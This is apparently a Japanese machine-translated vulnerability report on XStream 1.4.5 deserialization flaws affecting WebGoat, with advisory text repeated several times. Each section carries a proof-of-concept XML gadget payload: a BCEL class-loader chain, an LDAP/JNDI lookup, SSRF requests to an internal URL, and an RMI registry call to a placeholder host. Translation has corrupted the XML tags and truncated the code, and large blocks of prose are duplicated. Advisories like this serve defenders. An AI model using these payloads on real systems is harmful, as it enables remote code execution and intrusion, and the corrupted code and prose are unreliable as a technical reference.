```
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/
> <java.util.PriorityQueue> <default>
<size>2</size> <comparator

class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap
class='com.sun.xml.internal.ws.client.ResponseContext'>
</パケット> <
メッセージ クラス='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <データソース クラス
='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
<part>
<dataHead>
<tail/>
<head>
<data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
<len>3</len>
<data>AQID</data> </
data> </
head> </
dataHead>
<contentTransferEncoding>base64</contentTransferEncoding>
<メッセ
ージ> <it クラス = 'java.util.ArrayList$itr'>
<カーソル>0</カーソル> <最
後の戻り値>1</最後の戻り値> <
期待されるモッドカウント>4</期待されるモッドカウント> <外
部クラス>
<com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent__EndMessage/>
<com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent__EndMessage/>
<com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent__EndMessage/>
<com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent__EndMessage/>
</outer-class> </it>
<in
class='java.io.FileInputStream'>
<fd/> <
チャネルクラス='sun.nio.ch.FileChannelImpl'> <closeLock/>
<open>true</
open> <threads>
<used>1</
used> </threads> <親
クラス
='sun.plugin2.ipc.unix.DomainSocketNamedPipe'> <sockClient>

<ファイル名>/etc/hosts</ファイル名>
<unlinkFile>true</unlinkFile> </sockClient>
<connectionSync/>
</parent> </channel>
<closeLock/>
</in> </msg>
</part> </

dataSource> </
message>
<satellites/>
<invocationProperties/> </packet>
</indexMap>
</comparator>
</default> <int>3</
int> <文字列

>javax.xml.ws.binding.attachments.inbound</文字列> <文字列
>javax.xml.ws.binding.attachments.inbound</文字列>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

### 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化とは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI) 、 Java Management Extension (JMX) 、 Java Messaging System (JMS) 、 Action Message Format (AMF) 、 Java Server Faces (JSF) といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリализーションに過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数（Runtime.exec()）呼び出してローカルOSコマンドを実行することを含む）を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者は、処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。

#### 概念実証

```
<ソートされたセット>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/></ハッシュテーブル
-ブル><default>

<loadFactor>0.75</loadFactor> <threshold>525</
threshold> </default> <int>700</int>
<int>0</int>

</ハッシュテーブル
> <javax.swing.UIDefaults> <デフォルト
ト> <デフォルト
ロケール>zh_CN</デフォルトロケール> <resourceCache/>
</デフォルト></

javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults> <デフォルト>
<テーブル>

<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/> <hashtable>
<default>

<loadFactor>0.75</loadFactor> <threshold>525</
threshold> </default> <int>700</int>
<int>1</int>

<sun.swing.SwingLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<arg>ldap://localhost:1099/CallRemoteMethod</arg> </args> </

sun.swing.SwingLazyValue> </hashtable>

<javax.swing.UIDefaults> <default>
<defaultLocale
参照'../../../../../../../../java/swing/UIDefaults/default/defaultLocale'> <resourceCache/> </default> </javax.swing.UIDefaults>
```

```

</javax.swing.UIDefaults></
tables></
default></
javax.swing.MultiUIDefaults></value>
</
javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>テスト</m__obj></
value></
javax.naming.ldap.Rdn_-RdnEntry><sorted-
set>

```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。デシリアライゼーションは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Java のデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが [人気ライブラリ \(Apache Commons Collection\)](#) で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者は Java オブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Java でオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Java の厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる場には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトの readObject() メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスの readObject() メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec()) を呼び出してローカル OS コマンドを実行することを含む) を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#) オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者が処理済みの入力ストリームを操作するだけで任意のコードを実行できる可能性があります。

概念実証

```

<java.util.PriorityQueue serialization='custom'> <unserializable-
parents> <java.util.PriorityQueue>
<default> <size>2</size>
<comparator
class='javafx.collections.ObservableList$1'></default> <int>3</int>

<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler>

<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/
plain</contentType> <is
class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator
class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
<names class='java.util.AbstractList$ltr'> <cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount>

```

```

<外部クラス class='java.util.Arrays$ArrayList'>
<a class='文字列配列'>
<文字列>$$BCEL$$IS8b$$I$$A$$A$$A$$A$$AeQ$$ddN$c20$$Y$$3d$$85$$c9$$60$$O$$e5G$$fcW$$f0J0Qn$$bc$$c3$$Y$$T$$83$$89$$c9$$oF$$M$$5e$$97$$d9$$60$$c9X$$c9$$d6R$$5e$$cb$$h5$$5e$$f8$$A$$3e$$94$$f1$$x$$g$$q </a> </outer-class> </

names>

<processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
<親クラス='sun.misc.Launcher$ExtClassLoader'> </parent>

<package2certs クラス='hashtable'> <定義され
ているクラス='java.lang.ClassLoader'> <defaultDomain>

<classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <principals/> <hasAllPerm>false<
hasAllPerm>
<staticPermissions>false</
staticPermissions> <key> <outer-class reference='..'/> </
key>
</defaultDomain> <packages/>

<nativeLibraries/>
<assertionLock

class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/> <defaultAssertionStatus>false<
defaultAssertionStatus> <classes/> <ignored__packages> <string>java.<
string>
<string>javax.</string>
<string>sun.</string>

</ignored__packages> <リ
ポジトリクラス='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
<__path>
<paths/>
<class__path>.</class__path> </
__path>
<__loadedClasses/> </
repository>
<deferTo クラス = 'sun.misc.Launcher$ExtClassLoader' 参照 = '../parent' />
</processorCL> </
iterator>
<type>KEYS</type> </
e>
<in class='java.io.ByteArrayInputStream'> <buf></buf>
<pos>0</pos>
<mark>0</
mark> <count>0</
count> </in> </is>

<consumed>false</consumed>
<dataSource>
<transferFlavors/> </
dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 参照 = '../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' />
</java.util.PriorityQueue>
</java.util.PriorityQueue>

```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。デシリアライゼーションは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec()) を呼び出してローカルOSコマンドを実行することを含む)を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーション (SSRF) に対して脆弱です。この脆弱性により、リモートの攻撃者は、処理済みの入力ストリームを操作するだけで、公開されていない内部リソースからデータを要求できる可能性があります (SSRF)。

概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable-
    parents/> <java.util.PriorityQueue>
    <default> <size>2</size>
    <comparator
        class='javafx.collections.ObservableList$1'> </default> <int>3</int>

    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler>

        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/
            plain</contentType> <is
            class='java.io.SequenceInputStream'>
                <class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                    <イテレータクラス='com.sun.xml.internal.ws.util.ServiceFinder$ServiceNameIterator'>
                        <configs クラス='sun.misc.FIFOQueueEnumerator'>
                            <キュー>
                                <length>1</length>
                                <head>
                                    <obj class='url'>http://localhost:8080/internal/</obj> </head> <tail
                                        reference='..../head'> </queue>
                                <cursor
                                    reference='..../queue/head'> </configs>
                                <returned
                                    class='sorted-set'> </iterator>
                                <type>KEYS</
                                type> </e> <in
                                    class='java.io.ByteArrayInputStream'> <buf></buf>
                                    <pos>0</pos>
                                    <mark>0</
                                    mark> <count>0</
                                    count> </in> </is>

                                    <consumed>false</consumed>
                                </dataSource>
                                <transferFlavors/> </
                                dataHandler>
                                <dataLen>0</dataLen>
                            </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
                            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 参照='..../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                            </java.util.PriorityQueue>
                        </java.util.PriorityQueue>
                    </configs クラス='sun.misc.FIFOQueueEnumerator'>
                </キュー>
            </class='java.io.SequenceInputStream'>
        </dataSource>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
</java.util.PriorityQueue>
```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

### 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。

バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化/デシリアル化は、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御るようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスはIBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化/デシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec())を呼び出してローカルOSコマンドを実行することを含む)を実行できます。

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [GitHubアドバイザリ](#)
- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。アンマーシャリング時に処理されたストリームに、以前に書き込まれたオブジェクトを再作成するための型情報が含まれるという脆弱性があります。攻撃者は処理された入力ストリームを操作してオブジェクトを置き換えたり、挿入したりすることで、サーバー側で偽造リクエストを実行できます。

概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue>
<default> <size>2</size>
<comparator
  class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap
    class='com.sun.xml.internal.ws.client.ResponseContext'>
  </パケット>
  <メッセージクラス='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
    <dataSource class='javax.activation.URLDataSource'> <url>http://localhost:8080/internal/:</url> </dataSource> </message>
  </packet> </
  indexMap> </
  comparator>
</default>
<int>3</int>

<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```

推奨に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

### 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイナリからオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化は、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが人気ライブラリ (Apache Commons Collection)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者は Java オブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Java でオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Java の厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトの readObject() メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスの readObject() メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec() を呼び出してローカル OS コマンドを実行することを含む) を実行できます。

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。十分な権限を持つリモート攻撃者は、処理済みの入力ストリームを操作するだけで、ホストのコマンドを実行できる可能性があります。

#### 概念実証

```
<!-- シンプルな PriorityQueue を作成し、XStream を使って XML に変換します。XML を以下のコードに置き換え、XStream で再度アンマーシャリングします。-->

<java.util.PriorityQueue シリアル化='カスタム'>
<unserializable-parents/>
<java.util.PriorityQueue> <default>
<size>2</size>
<int>3</int>

<javax.naming.ldap.Rdn_RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d コンテンツ:<なし></m__obj></value> </javax.naming.ldap.Rdn_RdnEntry>

<javax.naming.ldap.Rdn_RdnEntry> <type>12345</type>
<value>

class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'
<メッセージクラス='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion> <bodyParts>
> <sm
class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized>
<multiPart>
class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<エイリアス クラス='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <候補 クラス=
'com.sun.jndi.rmi.registry.BindingEnumeration'>
<名前>
<文字列>aa</文字列> <文字列>
>aa</文字列> </名前>

<ctx> <
環境/> <レジストリクラ
ス='sun.rmi.registry.RegistryImpl_Stub' シリアル化='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string> <string>ip2</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
<host>ip2</host>
<port>1099</port>
<port></ctx> </candidates>
</aliases>
</it> </mm> </multiPart>
</sm> </message>
</value>
</>

javax.naming.ldap.Rdn_RdnEntry </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

### 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化は通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。リモートアクセスなどの一般的なプロトコルでは不可欠な要素です。

メソッド呼び出し (RMI) 、 Java 管理拡張機能 (JMX) 、 Java メッセージング システム (JMS) 、アクション メッセージ形式 (AMF) 、 Java Server Faces (JSF)  
ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Java のデシリアライゼーション問題は長年知られていました。しかし、2015 年に、悪用されリモートコード実行を可能にする可能性のあるクラスが [人気ライブラリ \(Apache Commons Collection\)](#) で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere, Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者は Java オブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Java でオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Java の厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトの `readObject()` メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスの `readObject()` メソッドを組み合わせることで、攻撃者は関数 (`Runtime.exec()`) を呼び出してローカル OS コマンドを実行することを含む) を実行できます。

## 修復

`com.thoughtworks.xstream:xstream` をバージョン 1.4.17 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [XStreamアドバイザリ](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: `com.thoughtworks.xstream:xstream` 導入元:
- `org.owasp.webgoat:webgoat@2023.4` および `com.thoughtworks.xstream:xstream@1.4.5`

### 詳細なパス

- 導入元: `org.owasp.webgoat:webgoat@2023.4` › `com.thoughtworks.xstream:xstream@1.4.5`

### 概要

[com.thoughtworks.xstream:xstream](#) オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、サービス拒否 (DoS) 攻撃に対して脆弱です。この脆弱性により、リモート攻撃者は CPU の種類に応じて標的システムの CPU 時間を 100% 割り当てたり、ペイロードを並列実行したりして、処理済みの入力ストリームを操作するだけでサービス拒否攻撃を引き起こす可能性があります。XStream のセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには影響はありません。XStream 1.4.18 では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

### 概念実証

```
<リンクされたハッシュセット>
<sun.reflect.annotation.AnnotationInvocationHandler シリアル化 = 'カスタム'>
<sun.reflect.annotation.AnnotationInvocationHandler>
<デフォルト
  > <memberValues クラス = 'javax.script.SimpleBindings'>
    <map クラス = 'javax.script.SimpleBindings' 参照 = '..'>
  </memberValues>
</type>> javax.xml.transform.Templates</type> </default>

</sun.reflect.annotation.AnnotationInvocationHandler>
</sun.reflect.annotation.AnnotationInvocationHandler>
</リンクされたハッシュセット>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

